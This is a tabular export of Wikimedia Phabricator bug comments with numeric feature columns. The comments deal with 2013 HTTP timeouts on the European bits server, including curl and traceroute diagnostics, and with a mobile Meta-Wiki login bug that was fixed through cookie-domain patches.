- http://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Wikipedian_hidastelu",,,1368163074,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7272727272727273,"Some links to discussions:
- URL
- URL"
212772,http connections to European Bits server often time out for some users since ~2013-05-06,"I answered to before to bug 42653 (comments: 14 - 17), but i will write the key points to here too. It seems that bits-lb.esams.wikimedia.org http is broken. IP itself answers to ping and https links are working fine. 

Eg. this works:
-  curl -i https://bits.wikimedia.org/ 

This will fail most of the times
-  curl -i http://bits.wikimedia.org/

Error is:
curl: (7) Failed to connect to 2620:0:862:ed1a::a: Network is unreachable",,,1368162078,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,4.0,10.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,3.4516129032258065,0.6774193548387096,"I answered to before to bug 42653 (comments: 14 - 17), but i will write the key points to here too. It seems that bits-lb.esams.wikimedia.org http is broken. IP itself answers to ping and https links are working fine. 

Eg. this works:
-  curl -i URL 

This will fail most of the times
-  curl -i URL

Error is:
curl: (7) Failed to connect to 2620:0:862:ed1a::a: Network is unreachable"
212766,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #0)
> The server http://bits.wikimedia.org/ is insanely slow since two days.
> Requests
> almost never return anything. The requests time out instead. This leaves all
> Mediawiki projects (including Commons) naked without any CSS (except for my
> user CSS).
> 

I would note that your user css is served via bits. What urls specifically are timing out, or is it random?


>There was an outage on Wednesday, 13:30 - 14:00 UTC, due to a memcached server
going offline.

Shouldn't these sorts of things show up in the server admin log...",,,1368151677,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,17.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,12.0,6.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.393939393939394,0.7727272727272727,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I would note that your user css is served via bits. What urls specifically are timing out, or is it random?


QUOTE
going offline.

Shouldn't these sorts of things show up in the server admin log..."
212761,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #2)
> Multiple users reported the same problem.

URLs welcome, as I haven't seen anything on the usual Commons forums that I try to follow.


There was an outage on Wednesday, 13:30 - 14:00 UTC, due to a memcached server going offline. ""As usual this caused all kinds of cascading failures on other clusters such as Squid/Varnish. When not overloaded, these clusters would only serve cached pages at that point.""
That would not cover ""since 2 days"" but that's what people immediately mentioned when I brought up this bug report in the operations channel.


I'm currently also in Germany and I ran ""mtr"" on my Linux machine for a while:


        My traceroute  [v0.82]
embrace.foo (0.0.0.0)                             Fri May 10 02:59:33 2013
Resolver: Received error response 2. (server failure)er of fields   quit
                                  Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. fritz.box                  0.0%   158    1.1   9.1   1.0 606.0  58.0
 2. 217.0.117.142              0.0%   158   20.1  30.4  19.1 529.5  48.8
 3. 87.186.195.6               0.0%   158   22.3  31.6  20.4 434.4  39.0
 4. hh-ea4-i.HH.DE.NET.DTAG.DE 0.6%   158   27.7  41.4  27.0 338.0  35.6
 5. 194.25.208.234             0.0%   158   30.2  45.8  27.7 1023.  81.4
    80.156.160.242
    80.150.168.162
    80.156.163.126
 6. hbg-bb1-link.telia.net     0.0%   158   27.4  48.4  27.2 999.9  80.3
    hbg-bb1-link.telia.net
    hbg-bb1-link.telia.net
 7. adm-bb3-link.telia.net     0.0%   158   33.5  50.3  32.6 1029. 102.1
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
 8. adm-b5-link.telia.net      0.0%   158   35.1  51.0  33.9 943.4  92.1
 9. wikimedia-ic-129908-
            adm-b3.c.telia.net 5.7%   158   37.0  49.0  34.6 846.6  68.5
10. bits.esams.wikimedia.org   0.0%   158   35.2  47.8  35.2 746.2  69.9",,,1368148607,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,True,,,-16,True,0.2,0.2,0.0,0.0,0.6,1.8,0.0,0.0,0.0,0.0,1.2,0.4,0.0,0.2,0.2,1.4,0.0,1.8,4.0,0.2,0.4,0.0,0.4,0.0,1.4,0.0,0.0,0.0,0.2,0.4,0.2,0.8,0.2,0.0,0.8,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.2,0.0,0.0,11.2,0.6,0.6,0.0,0.0,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.6,0.0,0.0,0.2,0.0,0.2,1.0,0.2,7.0,0.6,0.4,2.4,0.0,0.0,0.0,0.2,0.8,0.0,20.2,0.0,1.6,4.0,5.0,0.0,1.2,0.0,1.6,0.0,0.8,0.6,0.0,0.4,0.0,0.0,0.6,4.445339506172839,0.6654012345679012,"(In reply to comment #2)
QUOTE

URLs welcome, as I haven't seen anything on the usual Commons forums that I try to follow.


There was an outage on Wednesday, 13:30 - 14:00 UTC, due to a memcached server going offline. ""As usual this caused all kinds of cascading failures on other clusters such as Squid/Varnish. When not overloaded, these clusters would only serve cached pages at that point.""
That would not cover ""since 2 days"" but that's what people immediately mentioned when I brought up this bug report in the operations channel.


I'm currently also in Germany and I ran ""mtr"" on my Linux machine for a while:


        My traceroute  [v0.82]
embrace.foo (0.0.0.0)                             Fri May 10 02:59:33 2013
Resolver: Received error response 2. (server failure)er of fields   quit
                                  Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. fritz.box                  0.0%   158    1.1   9.1   1.0 606.0  58.0
 2. 217.0.117.142              0.0%   158   20.1  30.4  19.1 529.5  48.8
 3. 87.186.195.6               0.0%   158   22.3  31.6  20.4 434.4  39.0
 4. hh-ea4-i.HH.DE.NET.DTAG.DE 0.6%   158   27.7  41.4  27.0 338.0  35.6
 5. 194.25.208.234             0.0%   158   30.2  45.8  27.7 1023.  81.4
    80.156.160.242
    80.150.168.162
    80.156.163.126
 6. hbg-bb1-link.telia.net     0.0%   158   27.4  48.4  27.2 999.9  80.3
    hbg-bb1-link.telia.net
    hbg-bb1-link.telia.net
 7. adm-bb3-link.telia.net     0.0%   158   33.5  50.3  32.6 1029. 102.1
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
    adm-bb3-link.telia.net
 8. adm-b5-link.telia.net      0.0%   158   35.1  51.0  33.9 943.4  92.1
 9. wikimedia-ic-129908-
            adm-b3.c.telia.net 5.7%   158   37.0  49.0  34.6 846.6  68.5
10. bits.esams.wikimedia.org   0.0%   158   35.2  47.8  35.2 746.2  69.9"
212757,http connections to European Bits server often time out for some users since ~2013-05-06,"Raising priority then, adding the 'ops' keyword.",,,1368116770,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,"Raising priority then, adding the 'ops' keyword."
212750,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:

To let you know: It's much better now but not solved. Currently it feels like 5% of the requests in the German Wikipedia time out. Nothing happens for a minute and a ""server does not respond"" is shown. When I try again it works most of the time. Some edits are lost because of this. Multiple users reported the same problem.",,,1368116485,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,11.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,4.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,11.0,2.0,0.0,2.0,0.0,6.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,3.5375,0.7625,"**mr.heat** wrote:

To let you know: It's much better now but not solved. Currently it feels like 5% of the requests in the German Wikipedia time out. Nothing happens for a minute and a ""server does not respond"" is shown. When I try again it works most of the time. Some edits are lost because of this. Multiple users reported the same problem."
212742,http connections to European Bits server often time out for some users since ~2013-05-06,"It seems completely down at the moment:

Failed to load resource: the server responded with a status of 503 (Service Unavailable)",,,1368020620,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,15.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9230769230769231,"It seems completely down at the moment:

Failed to load resource: the server responded with a status of 503 (Service Unavailable)"
49647,meta.m.wikimedia.org user login doesn't work,"Attempting to log in via <https://meta.m.wikimedia.org/wiki/Special:UserLogin> does not work.

I input my username and password, submit it, the site says ""Login successful"", but when I try to visit <https://meta.m.wikimedia.org/wiki/Special:Watchlist> or other parts of the site, it says ""Please log in to view or edit items on your watchlist.""

I'm able to log in via <https://en.m.wikipedia.org/wiki/Special:UserLogin>. This problem seems specific to meta.m.wikimedia.org.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1366901640,1455156167.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-oopmckue4qzl6hd5gznh,task_description,resolved,True,c2,1,True,False,False,-18,True,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,12.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,7.0,12.0,1.0,0.0,4.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,3.5520833333333335,0.59375,"Attempting to log in via <URL does not work.

I input my username and password, submit it, the site says ""Login successful"", but when I try to visit <URL or other parts of the site, it says ""Please log in to view or edit items on your watchlist.""

I'm able to log in via <URL This problem seems specific to meta.m.wikimedia.org.

--------------------------
**Version**: unspecified
**Severity**: major"
708642,meta.m.wikimedia.org user login doesn't work,"Change 303744 merged by jenkins-bot:
Apply mobile cookie domain fix to beta

[[https://gerrit.wikimedia.org/r/303744]]",,,1470761602,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,153,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6818181818181817,0.9090909090909091,"Change 303744 merged by jenkins-bot:
Apply mobile cookie domain fix to beta

[[GERRIT_URL]]"
708324,meta.m.wikimedia.org user login doesn't work,"Change 303744 had a related patch set uploaded (by Gergő Tisza):
Apply mobile cookie domain fix to beta

[[https://gerrit.wikimedia.org/r/303744]]
",,,1470712347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,153,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7142857142857144,0.8928571428571429,"Change 303744 had a related patch set uploaded (by Gergő Tisza):
Apply mobile cookie domain fix to beta

[[GERRIT_URL]]
"
607913,meta.m.wikimedia.org user login doesn't work,Group1 has returned 1.27.0-wmf.13 and logins via commons.m and meta.m are working again.,,,1455156167,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,True,,,128,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.75,0.9375,Group1 has returned 1.27.0-wmf.13 and logins via commons.m and meta.m are working again.
607900,meta.m.wikimedia.org user login doesn't work,"Change 269859 merged by jenkins-bot:
Allow changing cookie options in WebResponseSetCookie hook

[[https://gerrit.wikimedia.org/r/269859]]",,,1455155010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.590909090909091,0.9090909090909091,"Change 269859 merged by jenkins-bot:
Allow changing cookie options in WebResponseSetCookie hook

[[GERRIT_URL]]"
607898,meta.m.wikimedia.org user login doesn't work,"Change 269881 merged by jenkins-bot:
Better hack for T49647, for real

[[https://gerrit.wikimedia.org/r/269881]]",,,1455154462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,3.4545454545454546,0.8636363636363636,"Change 269881 merged by jenkins-bot:
Better hack for T49647, for real

[[GERRIT_URL]]"
607845,meta.m.wikimedia.org user login doesn't work,"Change 269881 had a related patch set uploaded (by Anomie):
Better hack for T49647, for real

[[https://gerrit.wikimedia.org/r/269881]]
",,,1455149295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,3.5185185185185186,0.8518518518518519,"Change 269881 had a related patch set uploaded (by Anomie):
Better hack for T49647, for real

[[GERRIT_URL]]
"
607829,meta.m.wikimedia.org user login doesn't work,This is now blocking 1.27.0-wmf.13 being re-deployed to group1 (non-wikipedia) wikis.,,,1455147523,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,True,,,128,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.75,0.9,This is now blocking 1.27.0-wmf.13 being re-deployed to group1 (non-wikipedia) wikis.
607801,meta.m.wikimedia.org user login doesn't work,"Change 269861 merged by Ori.livneh:
Better hack for T49647

[[https://gerrit.wikimedia.org/r/269861]]",,,1455145901,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,3.9411764705882355,0.8823529411764706,"Change 269861 merged by Ori.livneh:
Better hack for T49647

[[GERRIT_URL]]"
607790,meta.m.wikimedia.org user login doesn't work,"Change 269863 merged by Ori.livneh:
Allow changing cookie options in WebResponseSetCookie hook

[[https://gerrit.wikimedia.org/r/269863]]",,,1455145494,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,5.0,0.9,"Change 269863 merged by Ori.livneh:
Allow changing cookie options in WebResponseSetCookie hook

[[GERRIT_URL]]"
607789,meta.m.wikimedia.org user login doesn't work,"Change 269864 merged by Ori.livneh:
Allow changing cookie options in WebResponseSetCookie hook

[[https://gerrit.wikimedia.org/r/269864]]",,,1455145487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,5.0,0.9,"Change 269864 merged by Ori.livneh:
Allow changing cookie options in WebResponseSetCookie hook

[[GERRIT_URL]]"
607785,meta.m.wikimedia.org user login doesn't work,"Change 269864 had a related patch set uploaded (by BryanDavis):
Allow changing cookie options in WebResponseSetCookie hook

[[https://gerrit.wikimedia.org/r/269864]]
",,,1455145246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.592592592592593,0.8888888888888888,"Change 269864 had a related patch set uploaded (by BryanDavis):
Allow changing cookie options in WebResponseSetCookie hook

[[GERRIT_URL]]
"
607782,meta.m.wikimedia.org user login doesn't work,"Change 269863 had a related patch set uploaded (by BryanDavis):
Allow changing cookie options in WebResponseSetCookie hook

[[https://gerrit.wikimedia.org/r/269863]]
",,,1455145223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.592592592592593,0.8888888888888888,"Change 269863 had a related patch set uploaded (by BryanDavis):
Allow changing cookie options in WebResponseSetCookie hook

[[GERRIT_URL]]
"
607779,meta.m.wikimedia.org user login doesn't work,"Change 269861 had a related patch set uploaded (by Anomie):
Better hack for T49647

[[https://gerrit.wikimedia.org/r/269861]]
